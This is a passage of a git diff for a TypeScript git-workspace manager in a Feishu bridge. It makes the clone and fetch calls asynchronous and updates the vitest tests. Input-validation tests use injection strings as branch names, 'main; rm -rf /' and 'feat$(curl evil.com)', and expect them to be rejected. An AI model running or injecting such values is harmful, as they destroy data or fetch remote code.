diff --git a/src/feishu/__tests__/event-handler.test.ts b/src/feishu/__tests__/event-handler.test.ts index 1e8b2cc..aa482e8 100644 --- a/src/feishu/__tests__/event-handler.test.ts +++ b/src/feishu/__tests__/event-handler.test.ts @@ -734,21 +734,21 @@ describe('ensureIsolatedWorkspace', () => { mockExistsSync.mockReturnValue(true); }); - it('should return as-is when path is already under workspace baseDir', () => { - const result = ensureIsolatedWorkspace('/tmp/workspaces/repo-abc123'); + it('should return as-is when path is already under workspace baseDir', async () => { + const result = await ensureIsolatedWorkspace('/tmp/workspaces/repo-abc123'); expect(result).toEqual({ workingDir: '/tmp/workspaces/repo-abc123' }); expect(setupWorkspaceMock).not.toHaveBeenCalled(); }); - it('should clone to workspace when path is a git repo outside workspace baseDir', () => { + it('should clone to workspace when path is a git repo outside workspace baseDir', async () => { mockExistsSync.mockReturnValue(true); // .git exists - (setupWorkspaceMock as ReturnType).mockReturnValue({ + (setupWorkspaceMock as ReturnType).mockResolvedValue({ workspacePath: '/tmp/workspaces/my-repo-writable-abc123', branch: 'feat/claude-session-abc123', repoName: 'my-repo', }); - const result = ensureIsolatedWorkspace('/tmp/work/my-repo', 'writable'); + const result = await ensureIsolatedWorkspace('/tmp/work/my-repo', 'writable'); expect(result).toEqual({ workingDir: '/tmp/workspaces/my-repo-writable-abc123' }); expect(setupWorkspaceMock).toHaveBeenCalledWith({ @@ -757,15 +757,15 @@ describe('ensureIsolatedWorkspace', () => { }); }); - it('should pass readonly mode to setupWorkspace', () => { + it('should pass readonly mode to setupWorkspace', async () => { mockExistsSync.mockReturnValue(true); - (setupWorkspaceMock as ReturnType).mockReturnValue({ + (setupWorkspaceMock as ReturnType).mockResolvedValue({ workspacePath: '/tmp/workspaces/my-repo-readonly-abc123', branch: 'main', repoName: 'my-repo', }); - const result = ensureIsolatedWorkspace('/tmp/work/my-repo', 'readonly'); + const result = await ensureIsolatedWorkspace('/tmp/work/my-repo', 'readonly'); expect(result).toEqual({ workingDir: '/tmp/workspaces/my-repo-readonly-abc123' }); expect(setupWorkspaceMock).toHaveBeenCalledWith({ @@ -774,32 +774,32 @@ describe('ensureIsolatedWorkspace', () => { }); }); - it('should return as-is when path is not a git repo', () => { + it('should return as-is when path is not a git repo', async () => { mockExistsSync.mockReturnValue(false); // no .git - const result = ensureIsolatedWorkspace('/tmp/work'); + const result = await ensureIsolatedWorkspace('/tmp/work'); expect(result).toEqual({ workingDir: '/tmp/work' }); expect(setupWorkspaceMock).not.toHaveBeenCalled(); }); - it('should throw in writable mode when setupWorkspace fails', () => { + it('should throw in writable mode when setupWorkspace fails', async () => { mockExistsSync.mockReturnValue(true); // .git exists - (setupWorkspaceMock as ReturnType).mockImplementation(() => { - throw new Error('clone failed'); - }); + (setupWorkspaceMock as ReturnType).mockRejectedValue( + new Error('clone failed'), + ); - expect(() => ensureIsolatedWorkspace('/tmp/work/my-repo', 'writable')) - .toThrow('无法创建隔离工作区'); + await expect(ensureIsolatedWorkspace('/tmp/work/my-repo', 'writable')) + .rejects.toThrow('无法创建隔离工作区'); }); - it('should fallback to original path in readonly mode when setupWorkspace fails', () => { + it('should fallback to original path in readonly mode when setupWorkspace fails', async () => { mockExistsSync.mockReturnValue(true); // .git exists - (setupWorkspaceMock as ReturnType).mockImplementation(() => { - throw new Error('clone failed'); - }); + (setupWorkspaceMock as ReturnType).mockRejectedValue( + new Error('clone failed'), + ); - const result = ensureIsolatedWorkspace('/tmp/work/my-repo', 'readonly'); + const result = await ensureIsolatedWorkspace('/tmp/work/my-repo', 'readonly'); expect(result).toEqual({ workingDir: '/tmp/work/my-repo' }); }); diff --git a/src/workspace/__tests__/cache.test.ts b/src/workspace/__tests__/cache.test.ts index 6bcc148..16eac91 100644 --- a/src/workspace/__tests__/cache.test.ts +++ b/src/workspace/__tests__/cache.test.ts @@ -1,8 +1,13 @@ // @ts-nocheck — test file, vitest uses esbuild transform import { describe, it, expect, vi, beforeEach } from 'vitest'; +// execFile 被 promisify 包裹,mock 必须调用末位回调,否则 await 永远挂起。 +// 默认实现:成功(cb(null, ...));失败用例在测试内 mockImplementation 覆盖。 vi.mock('node:child_process', () => ({ - execFileSync: vi.fn(), + execFile: vi.fn((...args: unknown[]) => { + const cb = args[args.length - 1]; + if (typeof cb === 'function') (cb as (e: unknown, r: unknown) => void)(null, { stdout: '', stderr: '' }); + }), })); vi.mock('node:fs', () => ({ @@ -41,11 +46,27 @@ vi.mock('../../utils/logger.js', () => ({ }, })); -import { execFileSync } from 'node:child_process'; +import { execFile } from 'node:child_process'; import { existsSync, renameSync, rmSync, readdirSync, statSync } from 'node:fs'; import { repoUrlToCachePath, sanitizeRepoUrl, ensureBareCache, cleanupTmpDirs, cleanupExpiredCaches } from '../cache.js'; -const mockExecFileSync = vi.mocked(execFileSync); +const mockExecFile = vi.mocked(execFile); +/** 让 mock 的 execFile 以回调失败(promisify 后即 reject) */ +function makeExecFileFail(message: string) { + mockExecFile.mockImplementation((...args: unknown[]) => { + const cb = args[args.length - 1]; + if (typeof cb === 'function') (cb as (e: unknown) => void)(new Error(message)); + return undefined as never; + }); +} +/** 恢复 mock 的 execFile 默认成功行为 */ +function makeExecFileSucceed() { + mockExecFile.mockImplementation((...args: unknown[]) => { + const cb = args[args.length - 1]; + if (typeof cb === 'function') (cb as (e: unknown, r: unknown) => void)(null, { stdout: '', stderr: '' }); + return undefined as never; + }); +} const mockExistsSync = vi.mocked(existsSync); const mockRenameSync = vi.mocked(renameSync); const mockRmSync = vi.mocked(rmSync); @@ -55,6 +76,9 @@ const mockStatSync = vi.mocked(statSync); beforeEach(() => { vi.clearAllMocks(); mockExistsSync.mockReturnValue(false); + // clearAllMocks 只清调用历史、不恢复实现:显式重置 execFile 为默认成功, + // 避免上一个用例的 makeExecFileFail 泄漏到下一个用例。 + makeExecFileSucceed(); }); // ============================================================ @@ -152,20 +176,20 @@ describe('sanitizeRepoUrl', () => { // ============================================================ describe('ensureBareCache', () => { - it('should create bare clone when cache does not exist', () => { + it('should create bare clone when cache does not exist', async () => { mockExistsSync.mockImplementation((p) => { // parent dir exists, cache path does not if (String(p).endsWith('foo')) return true; return false; }); - const result = ensureBareCache('https://github.com/foo/bar.git'); + const result = await ensureBareCache('https://github.com/foo/bar.git'); expect(result.cachePath).toContain('/repos/cache/github.com/foo/bar.git'); // Should call git clone --bare (后续 fetch 的新鲜度由显式 refspec 保证) - expect(mockExecFileSync).toHaveBeenCalledTimes(1); - const args = mockExecFileSync.mock.calls[0][1]; + expect(mockExecFile).toHaveBeenCalledTimes(1); + const args = mockExecFile.mock.calls[0][1]; expect(args).toContain('clone'); expect(args).toContain('--bare'); // 不用 --mirror:避免把 GitHub 通告的 refs/pull/* 全部拉进缓存 @@ -179,51 +203,51 @@ describe('ensureBareCache', () => { expect(mockRenameSync).toHaveBeenCalledTimes(1); }); - it('should fetch with explicit heads refspec when cache exists and is stale', () => { + it('should fetch with explicit heads refspec when cache exists and is stale', async () => { mockExistsSync.mockReturnValue(true); - ensureBareCache('https://github.com/foo/bar.git'); + await ensureBareCache('https://github.com/foo/bar.git'); - expect(mockExecFileSync).toHaveBeenCalledTimes(1); - const args = mockExecFileSync.mock.calls[0][1]; + expect(mockExecFile).toHaveBeenCalledTimes(1); + const args = mockExecFile.mock.calls[0][1]; expect(args).toContain('fetch'); expect(args).toContain('--prune'); expect(args).toContain('origin'); expect(args).toContain('+refs/heads/*:refs/heads/*'); }); - it('should NOT use bare `fetch --all` (regression: frozen heads on refspec-less --bare caches)', () => { + it('should NOT use bare `fetch --all` (regression: frozen heads on refspec-less --bare caches)', async () => { // 根因回归守卫:早期 git clone --bare 创建的缓存无 remote.origin.fetch refspec, // fetch --all 只刷新 FETCH_HEAD 而不移动 refs/heads/*,缓存分支永久冻结。 // 必须用显式 refspec,且不得退回 --all。 mockExistsSync.mockReturnValue(true); - ensureBareCache('https://github.com/foo/frozen-heads-regression.git'); + await ensureBareCache('https://github.com/foo/frozen-heads-regression.git'); - const args = mockExecFileSync.mock.calls[0][1] as string[]; + const args = mockExecFile.mock.calls[0][1] as string[]; expect(args).toContain('+refs/heads/*:refs/heads/*'); expect(args).not.toContain('--all'); }); - it('should skip fetch when recently fetched', () => { + it('should skip fetch when recently fetched', async () => { // Cache exists for both calls mockExistsSync.mockReturnValue(true); // First call: fetches - ensureBareCache('https://github.com/foo/qux.git'); - const fetchCalls = mockExecFileSync.mock.calls.filter( + await ensureBareCache('https://github.com/foo/qux.git'); + const fetchCalls = mockExecFile.mock.calls.filter( c => (c[1] as string[]).includes('fetch'), ); expect(fetchCalls).toHaveLength(1); - mockExecFileSync.mockClear(); + mockExecFile.mockClear(); // Second call with same URL: should skip fetch (within interval) - ensureBareCache('https://github.com/foo/qux.git'); - expect(mockExecFileSync).not.toHaveBeenCalled(); + await ensureBareCache('https://github.com/foo/qux.git'); + expect(mockExecFile).not.toHaveBeenCalled(); }); - it('should cleanup tmp dir on clone failure', () => { + it('should cleanup tmp dir on clone failure', async () => { mockExistsSync.mockImplementation((p) => { if (String(p).endsWith('foo')) return true; // tmp dir exists for cleanup @@ -231,16 +255,81 @@ describe('ensureBareCache', () => { return false; }); - mockExecFileSync.mockImplementation(() => { - throw new Error('clone failed'); - }); + makeExecFileFail('clone failed'); - expect(() => ensureBareCache('https://github.com/foo/bar.git')) - .toThrow('bare clone 失败'); + await expect(ensureBareCache('https://github.com/foo/bar.git')) + .rejects.toThrow('bare clone 失败'); // Should attempt to clean up tmp dir expect(mockRmSync).toHaveBeenCalled(); }); + + // ============================================================ + // 回归守卫:网络 git 不得阻塞事件循环 + // 根因:早期 cloneBareAtomic 用 execFileSync,clone 卡到 timeout 期间 + // 整个单进程 bridge 冻结,所有会话毫无响应(飞书事件无法 ACK → 重投 → 被当陈旧丢弃)。 + // ============================================================ + it('should NOT block the event loop while a bare clone is in flight', async () => { + mockExistsSync.mockImplementation((p) => { + if (String(p).endsWith('foo')) return true; // parent dir exists + return false; // cache path does not + }); + + // 模拟一个"慢" clone:回调延后到下一个宏任务才触发(代表网络 IO 未完成)。 + let release: () => void = () => {}; + mockExecFile.mockImplementation((...args: unknown[]) => { + const cb = args[args.length - 1] as (e: unknown, r: unknown) => void; + release = () => cb(null, { stdout: '', stderr: '' }); + return undefined as never; + }); + + const clonePromise = ensureBareCache('https://github.com/foo/slow.git'); + + // clone 尚未返回时,事件循环必须仍然活着:一个并发的微/宏任务能照常推进。 + let concurrentRan = false; + await new Promise((r) => setTimeout(() => { concurrentRan = true; r(); }, 0)); + expect(concurrentRan).toBe(true); + + // 放行 clone,整体顺利完成(证明 await 让出了事件循环而非同步阻塞)。 + release(); + await expect(clonePromise).resolves.toMatchObject({ + cachePath: expect.stringContaining('/repos/cache/github.com/foo/slow.git'), + }); + }); + + // 回归守卫:异步化引入的并发 cold-clone 竞态(PR #267 review 反馈)。 + // 两个不同 chat 并发为同一未缓存仓库触发 ensureBareCache,必须共享同一次 clone, + // 否则落败方的 renameSync 会撞到已存在目录报 ENOTEMPTY。 + it('should de-dupe concurrent cold clones for the same uncached repo', async () => { + mockExistsSync.mockImplementation((p) => { + if (String(p).endsWith('foo')) return true; // parent dir exists + return false; // cache path does not + }); + + // clone 挂起到手动放行,制造稳定的 in-flight 窗口。 + let release: () => void = () => {}; + let cloneCalls = 0; + mockExecFile.mockImplementation((...args: unknown[]) => { + cloneCalls++; + const cb = args[args.length - 1] as (e: unknown, r: unknown) => void; + release = () => cb(null, { stdout: '', stderr: '' }); + return undefined as never; + }); + + // 两个并发调用(同一未缓存仓库),两者都已穿过 existsSync(false) 检查。 + const p1 = ensureBareCache('https://github.com/foo/concurrent.git'); + const p2 = ensureBareCache('https://github.com/foo/concurrent.git'); + + // 只发起一次 clone:第二个调用复用 in-flight Promise,没有第二次 clone。 + expect(cloneCalls).toBe(1); + + release(); + const [a, b] = await Promise.all([p1, p2]); + + expect(a.cachePath).toBe(b.cachePath); + // 只 rename 一次 → 不会出现 ENOTEMPTY 竞态 + expect(mockRenameSync).toHaveBeenCalledTimes(1); + }); }); // ============================================================ diff --git a/src/workspace/__tests__/identity.test.ts b/src/workspace/__tests__/identity.test.ts index 6c560e0..ea6691f 100644 --- a/src/workspace/__tests__/identity.test.ts +++ b/src/workspace/__tests__/identity.test.ts @@ -3,6 +3,8 @@ import { describe, it, expect, vi, beforeEach } from 'vitest'; vi.mock('node:child_process', () => ({ execFileSync: vi.fn(), + // cache.ts / manager.ts 在模块加载时执行 promisify(execFile),必须提供 execFile + execFile: vi.fn(), })); vi.mock('../../config.js', () => ({ diff --git a/src/workspace/__tests__/manager.test.ts b/src/workspace/__tests__/manager.test.ts index 7370f57..9233826 100644 --- a/src/workspace/__tests__/manager.test.ts +++ b/src/workspace/__tests__/manager.test.ts @@ -1,8 +1,9 @@ // @ts-nocheck — test file, vitest uses esbuild transform import { describe, it, expect, vi, beforeEach } from 'vitest'; +// execFile 被 promisify 包裹:mock 必须调用末位回调,否则 await 永远挂起。 vi.mock('node:child_process', () => ({ - execFileSync: vi.fn(), + execFile: vi.fn(), })); vi.mock('node:fs', () => ({ @@ -42,7 +43,8 @@ vi.mock('../../utils/logger.js', () => ({ }, })); -// Mock cache module +// Mock cache module — ensureBareCache 现在是 async,但 mock 返回普通对象即可 +// (setupWorkspace 内 await 会自动解包非 Promise 值)。 const mockEnsureBareCache = vi.fn(() => ({ cachePath: '/repos/cache/github.com/user/repo.git' })); const mockSanitizeRepoUrl = vi.fn((url: string) => url); vi.mock('../cache.js', () => ({ @@ -50,14 +52,29 @@ vi.mock('../cache.js', () => ({ sanitizeRepoUrl: (...args: unknown[]) => mockSanitizeRepoUrl(...args), })); -import { execFileSync } from 'node:child_process'; +import { execFile } from 'node:child_process'; import { existsSync, mkdirSync } from 'node:fs'; import { deriveRepoName, setupWorkspace } from '../manager.js'; -const mockExecFileSync = vi.mocked(execFileSync); +const mockExecFile = vi.mocked(execFile); const mockExistsSync = vi.mocked(existsSync); const mockMkdirSync = vi.mocked(mkdirSync); +/** promisify(execFile) 兼容:调用末位回调表示子进程成功退出 */ +function execFileOk(...args: unknown[]) { + const cb = args[args.length - 1]; + if (typeof cb === 'function') (cb as (e: unknown, r: unknown) => void)(null, { stdout: '', stderr: '' }); + return undefined as never; +} +/** promisify(execFile) 兼容:以错误回调(即子进程失败 / 超时) */ +function execFileErr(message: string) { + return (...args: unknown[]) => { + const cb = args[args.length - 1]; + if (typeof cb === 'function') (cb as (e: unknown) => void)(new Error(message)); + return undefined as never; + }; +} + beforeEach(() => { vi.clearAllMocks(); // 默认: baseDir 存在, workspacePath 不存在 @@ -67,6 +84,10 @@ beforeEach(() => { }); mockEnsureBareCache.mockReturnValue({ cachePath: '/repos/cache/github.com/user/repo.git' }); mockSanitizeRepoUrl.mockImplementation((url) => url); + // 默认 execFile 全部成功;失败用例用 mockImplementationOnce 覆盖。 + // mockReset 清掉上一个用例残留的 once 实现,避免泄漏。 + mockExecFile.mockReset(); + mockExecFile.mockImplementation(execFileOk); }); // ============================================================ @@ -112,13 +133,13 @@ describe('deriveRepoName', () => { // ============================================================ describe('setupWorkspace', () => { - it('should throw when neither repoUrl nor localPath is provided', () => { - expect(() => setupWorkspace({})).toThrow('必须提供 repo_url 或 local_path'); + it('should throw when neither repoUrl nor localPath is provided', async () => { + await expect(setupWorkspace({})).rejects.toThrow('必须提供 repo_url 或 local_path'); }); describe('writable mode (default)', () => { - it('should use bare cache for remote repo and create feature branch', () => { - const result = setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); + it('should use bare cache for remote repo and create feature branch', async () => { + const result = await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); expect(result.repoName).toBe('repo'); expect(result.branch).toMatch(/^feat\/claude-session-/); @@ -127,37 +148,37 @@ describe('setupWorkspace', () => { expect(mockEnsureBareCache).toHaveBeenCalledWith('https://github.com/user/repo.git'); // Should call git clone (from cache) and git checkout -b - expect(mockExecFileSync).toHaveBeenCalledTimes(3); // clone + set-url + checkout + expect(mockExecFile).toHaveBeenCalledTimes(3); // clone + set-url + checkout - const cloneCall = mockExecFileSync.mock.calls[0]; + const cloneCall = mockExecFile.mock.calls[0]; expect(cloneCall[0]).toBe('git'); expect(cloneCall[1]).toContain('clone'); // Clone source should be the cache path expect(cloneCall[1]).toContain('/repos/cache/github.com/user/repo.git'); // set-url call - const setUrlCall = mockExecFileSync.mock.calls[1]; + const setUrlCall = mockExecFile.mock.calls[1]; expect(setUrlCall[1]).toContain('set-url'); // checkout call - const checkoutCall = mockExecFileSync.mock.calls[2]; + const checkoutCall = mockExecFile.mock.calls[2]; expect(checkoutCall[1][0]).toBe('checkout'); expect(checkoutCall[1][1]).toBe('-b'); }); - it('should sanitize remote URL when setting origin', () => { + it('should sanitize remote URL when setting origin', async () => { mockSanitizeRepoUrl.mockReturnValue('https://github.com/user/repo.git'); - setupWorkspace({ repoUrl: 'https://token:x@github.com/user/repo.git' }); + await setupWorkspace({ repoUrl: 'https://token:x@github.com/user/repo.git' }); expect(mockSanitizeRepoUrl).toHaveBeenCalledWith('https://token:x@github.com/user/repo.git'); - const setUrlCall = mockExecFileSync.mock.calls[1]; + const setUrlCall = mockExecFile.mock.calls[1]; expect(setUrlCall[1]).toContain('https://github.com/user/repo.git'); }); - it('should use custom featureBranch when specified', () => { - const result = setupWorkspace({ + it('should use custom featureBranch when specified', async () => { + const result = await setupWorkspace({ repoUrl: 'https://github.com/user/repo', featureBranch: 'fix/my-bug', }); @@ -167,8 +188,8 @@ describe('setupWorkspace', () => { }); describe('readonly mode', () => { - it('should clone from cache without creating feature branch', () => { - const result = setupWorkspace({ + it('should clone from cache without creating feature branch', async () => { + const result = await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git', mode: 'readonly', }); @@ -179,25 +200,25 @@ describe('setupWorkspace', () => { expect(mockEnsureBareCache).toHaveBeenCalled(); // Should only call git clone (no set-url, no checkout -b) - expect(mockExecFileSync).toHaveBeenCalledTimes(1); - const cloneCall = mockExecFileSync.mock.calls[0]; + expect(mockExecFile).toHaveBeenCalledTimes(1); + const cloneCall = mockExecFile.mock.calls[0]; expect(cloneCall[1]).toContain('clone'); }); - it('should checkout source_branch if specified', () => { - setupWorkspace({ + it('should checkout source_branch if specified', async () => { + await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git', mode: 'readonly', sourceBranch: 'develop', }); - const cloneArgs = mockExecFileSync.mock.calls[0][1]; + const cloneArgs = mockExecFile.mock.calls[0][1]; expect(cloneArgs).toContain('--branch'); expect(cloneArgs).toContain('develop'); }); - it('should include "readonly" in workspace dir name', () => { - const result = setupWorkspace({ + it('should include "readonly" in workspace dir name', async () => { + const result = await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git', mode: 'readonly', }); @@ -207,7 +228,7 @@ describe('setupWorkspace', () => { }); describe('localPath (no cache)', () => { - it('should clone directly from localPath without using cache', () => { + it('should clone directly from localPath without using cache', async () => { mockExistsSync.mockImplementation((p) => { if (p === '/tmp/workspaces') return true; if (p === '/home/user/projects/my-app') return true; @@ -215,22 +236,22 @@ describe('setupWorkspace', () => { return false; }); - const result = setupWorkspace({ localPath: '/home/user/projects/my-app' }); + const result = await setupWorkspace({ localPath: '/home/user/projects/my-app' }); expect(result.repoName).toBe('my-app'); // Should NOT call ensureBareCache expect(mockEnsureBareCache).not.toHaveBeenCalled(); // Clone source should be the local path - const cloneArgs = mockExecFileSync.mock.calls[0][1]; + const cloneArgs = mockExecFile.mock.calls[0][1]; expect(cloneArgs).toContain('/home/user/projects/my-app'); }); }); - it('should include git security parameters in clone args (local clone from cache)', () => { - setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); + it('should include git security parameters in clone args (local clone from cache)', async () => { + await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); - const cloneArgs = mockExecFileSync.mock.calls[0][1]; + const cloneArgs = mockExecFile.mock.calls[0][1]; // 从 bare cache 本地 clone 时使用 LOCAL 安全参数(不含 protocol.file.allow=never) expect(cloneArgs).toContain('--config'); expect(cloneArgs[cloneArgs.indexOf('--config') + 1]).toBe('core.hooksPath=/dev/null'); @@ -239,52 +260,48 @@ describe('setupWorkspace', () => { expect(cloneArgs).not.toContain('protocol.file.allow=never'); }); - it('should pass --branch when sourceBranch is specified', () => { - setupWorkspace({ repoUrl: 'https://github.com/user/repo', sourceBranch: 'develop' }); + it('should pass --branch when sourceBranch is specified', async () => { + await setupWorkspace({ repoUrl: 'https://github.com/user/repo', sourceBranch: 'develop' }); - const cloneCall = mockExecFileSync.mock.calls[0]; + const cloneCall = mockExecFile.mock.calls[0]; const args = cloneCall[1]; const branchIdx = args.indexOf('--branch'); expect(branchIdx).toBeGreaterThan(-1); expect(args[branchIdx + 1]).toBe('develop'); }); - it('should create baseDir if it does not exist', () => { + it('should create baseDir if it does not exist', async () => { mockExistsSync.mockReturnValue(false); - setupWorkspace({ repoUrl: 'https://github.com/user/repo' }); + await setupWorkspace({ repoUrl: 'https://github.com/user/repo' }); expect(mockMkdirSync).toHaveBeenCalledWith('/tmp/workspaces', { recursive: true }); }); - it('should set GIT_LFS_SKIP_SMUDGE=1 to avoid LFS smudge failures from bare cache', () => { - setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); + it('should set GIT_LFS_SKIP_SMUDGE=1 to avoid LFS smudge failures from bare cache', async () => { + await setupWorkspace({ repoUrl: 'https://github.com/user/repo.git' }); - const cloneCall = mockExecFileSync.mock.calls[0]; + const cloneCall = mockExecFile.mock.calls[0]; const cloneOpts = cloneCall[2] as { env?: Record }; expect(cloneOpts.env).toBeDefined(); expect(cloneOpts.env!.GIT_LFS_SKIP_SMUDGE).toBe('1'); }); - it('should wrap git clone errors', () => { - mockExecFileSync.mockImplementationOnce(() => { - throw new Error('fatal: repository not found'); - }); + it('should wrap git clone errors', async () => { + mockExecFile.mockImplementationOnce(execFileErr('fatal: repository not found')); - expect(() => setupWorkspace({ repoUrl: 'https://github.com/user/no-exist' })) - .toThrow('git clone 失败: fatal: repository not found'); + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/no-exist' })) + .rejects.toThrow('git clone 失败: fatal: repository not found'); }); - it('should wrap git checkout errors (writable mode)', () => { - mockExecFileSync - .mockImplementationOnce(() => '') // clone - .mockImplementationOnce(() => '') // set-url - .mockImplementationOnce(() => { // checkout - throw new Error('fatal: branch already exists'); - }); + it('should wrap git checkout errors (writable mode)', async () => { + mockExecFile + .mockImplementationOnce(execFileOk) // clone + .mockImplementationOnce(execFileOk) // set-url + .mockImplementationOnce(execFileErr('fatal: branch already exists')); // checkout - expect(() => setupWorkspace({ repoUrl: 'https://github.com/user/repo' })) - .toThrow('创建分支失败: fatal: branch already exists'); + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/repo' })) + .rejects.toThrow('创建分支失败: fatal: branch already exists'); }); // ============================================================ @@ -292,61 +309,61 @@ describe('setupWorkspace', () => { // ============================================================ describe('input validation', () => { - it('should reject repoUrl without valid protocol', () => { - expect(() => setupWorkspace({ repoUrl: 'not-a-url' })) - .toThrow('无效的仓库 URL: not-a-url'); + it('should reject repoUrl without valid protocol', async () => { + await expect(setupWorkspace({ repoUrl: 'not-a-url' })) + .rejects.toThrow('无效的仓库 URL: not-a-url'); }); - it('should accept HTTPS URL', () => { - expect(() => setupWorkspace({ repoUrl: 'https://github.com/user/repo' })) - .not.toThrow(); + it('should accept HTTPS URL', async () => { + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/repo' })) + .resolves.toBeDefined(); }); - it('should accept SSH URL', () => { - expect(() => setupWorkspace({ repoUrl: 'git@github.com:user/repo.git' })) - .not.toThrow(); + it('should accept SSH URL', async () => { + await expect(setupWorkspace({ repoUrl: 'git@github.com:user/repo.git' })) + .resolves.toBeDefined(); }); - it('should accept ssh:// URL', () => { - expect(() => setupWorkspace({ repoUrl: 'ssh://git@github.com/user/repo' })) - .not.toThrow(); + it('should accept ssh:// URL', async () => { + await expect(setupWorkspace({ repoUrl: 'ssh://git@github.com/user/repo' })) + .resolves.toBeDefined(); }); - it('should accept git:// URL', () => { - expect(() => setupWorkspace({ repoUrl: 'git://github.com/user/repo' })) - .not.toThrow(); + it('should accept git:// URL', async () => { + await expect(setupWorkspace({ repoUrl: 'git://github.com/user/repo' })) + .resolves.toBeDefined(); }); - it('should reject localPath that does not exist', () => { + it('should reject localPath that does not exist', async () => { mockExistsSync.mockImplementation((p) => { if (p === '/tmp/workspaces') return true; return false; }); - expect(() => setupWorkspace({ localPath: '/nonexistent/path' })) - .toThrow('本地路径不存在: /nonexistent/path'); + await expect(setupWorkspace({ localPath: '/nonexistent/path' })) + .rejects.toThrow('本地路径不存在: /nonexistent/path'); }); - it('should reject sourceBranch with shell metacharacters', () => { - expect(() => setupWorkspace({ + it('should reject sourceBranch with shell metacharacters', async () => { + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/repo', sourceBranch: 'main; rm -rf /', - })).toThrow('无效的分支名: main; rm -rf /'); + })).rejects.toThrow('无效的分支名: main; rm -rf /'); }); - it('should reject featureBranch with shell metacharacters', () => { - expect(() => setupWorkspace({ + it('should reject featureBranch with shell metacharacters', async () => { + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/repo', featureBranch: 'feat$(curl evil.com)', - })).toThrow('无效的分支名'); + })).rejects.toThrow('无效的分支名'); }); - it('should accept valid branch names with slashes, dots, dashes', () => { - expect(() => setupWorkspace({ + it('should accept valid branch names with slashes, dots, dashes', async () => { + await expect(setupWorkspace({ repoUrl: 'https://github.com/user/repo', sourceBranch: 'release/v1.2.3', featureBranch: 'feat/my-feature_v2', - })).not.toThrow(); + })).resolves.toBeDefined(); }); }); diff --git a/src/workspace/cache.ts b/src/workspace/cache.ts index 3ec0c6a..d7e8573 100644 --- a/src/workspace/cache.ts +++ b/src/workspace/cache.ts @@ -1,11 +1,21 @@ -import { execFileSync } from 'node:child_process'; +import { execFile } from 'node:child_process'; import { existsSync, mkdirSync, renameSync, rmSync, readdirSync, statSync } from 'node:fs'; import { resolve, join } from 'node:path'; import { randomBytes } from 'node:crypto'; +import { promisify } from 'node:util'; import { config } from '../config.js'; import { logger } from '../utils/logger.js'; import { GIT_REMOTE_CLONE_ARGS, GIT_REMOTE_FETCH_TOP_ARGS, GIT_REMOTE_FETCH_SUB_ARGS } from './git-security.js'; +// 网络 git 操作(clone/fetch)必须异步执行:早期用 execFileSync 会在等待网络的 +// 整个 timeout 窗口内阻塞 Node 事件循环(单进程 bridge),一次连不上远程的 +// clone 就能让整个服务在 timeout(默认 5 分钟)内对所有会话毫无响应。 +// 改用 promisify(execFile) 让 git 在子进程跑、await 让出事件循环。 +const execFileAsync = promisify(execFile); + +/** git 子进程输出上限:clone/fetch 在非 TTY 下输出很少,给足余量防 maxBuffer 溢出 */ +const GIT_MAX_BUFFER = 64 * 1024 * 1024; + // ============================================================ // 仓库缓存管理 // @@ -19,6 +29,14 @@ import { GIT_REMOTE_CLONE_ARGS, GIT_REMOTE_FETCH_TOP_ARGS, GIT_REMOTE_FETCH_SUB_ /** 最近 fetch 时间记录 (cachePath → timestamp) */ const lastFetchTime = new Map(); +/** + * 进行中的 cold clone (cachePath → clone Promise),用于并发去重。 + * 异步化后,existsSync 检查与 clone 不再原子:跨会话(不同 chat 不共享 FIFO 队列) + * 可能同时为同一未缓存仓库触发 ensureBareCache,两者都通过 existsSync(false) 后各自 + * clone,落败方的 renameSync 会撞到已存在目录报 ENOTEMPTY。让并发调用共享同一次 clone。 + */ +const inFlightClones = new Map>(); + // ============================================================ // URL 解析 // ============================================================ @@ -116,17 +134,26 @@ export interface BareCacheResult { * 确保仓库的 bare clone 缓存存在且是最新的 * 返回缓存路径及 fetch 状态 */ -export function ensureBareCache(repoUrl: string): BareCacheResult { +export async function ensureBareCache(repoUrl: string): Promise { const relativePath = repoUrlToCachePath(repoUrl); const cachePath = resolve(config.repoCache.dir, relativePath); if (existsSync(cachePath)) { // 缓存已存在,检查是否需要 fetch - const fetchFailed = fetchIfStale(cachePath); + const fetchFailed = await fetchIfStale(cachePath); return { cachePath, fetchFailed: fetchFailed || undefined }; } else { - // 首次访问,创建 bare clone (原子操作) - cloneBareAtomic(repoUrl, cachePath); + // 首次访问,创建 bare clone (原子操作)。 + // 并发去重:get → set 之间无 await,对单线程事件循环是原子的,因此并发调用要么 + // 自己发起 clone 并登记 Promise,要么复用已登记的 in-flight clone,绝不会两次 clone。 + let clonePromise = inFlightClones.get(cachePath); + if (!clonePromise) { + clonePromise = cloneBareAtomic(repoUrl, cachePath).finally(() => { + inFlightClones.delete(cachePath); + }); + inFlightClones.set(cachePath, clonePromise); + } + await clonePromise; return { cachePath }; } } @@ -134,7 +161,7 @@ export function ensureBareCache(repoUrl: string): BareCacheResult { /** * bare clone 到临时目录,成功后 rename (原子创建) */ -function cloneBareAtomic(repoUrl: string, cachePath: string): void { +async function cloneBareAtomic(repoUrl: string, cachePath: string): Promise { const tmpPath = `${cachePath}.tmp-${randomBytes(4).toString('hex')}`; const parentDir = resolve(cachePath, '..'); @@ -151,13 +178,15 @@ function cloneBareAtomic(repoUrl: string, cachePath: string): void { // 之所以不用 --mirror:GitHub 会通告 refs/pull/*(数量常远超 heads), // --mirror 会把它们全部拉进缓存,而本模块的 fetch 只更新 heads/tags, // 这些 pull ref 会永久滞留、永不被 prune,徒增镜像体积。 - execFileSync('git', [ + // + // 异步执行:远程 clone 是网络操作,timeout 内绝不能阻塞事件循环(见文件头注释)。 + await execFileAsync('git', [ 'clone', '--bare', ...GIT_REMOTE_CLONE_ARGS, repoUrl, tmpPath, ], { timeout: 300_000, // 5 min for large repos - stdio: ['ignore', 'pipe', 'pipe'], + maxBuffer: 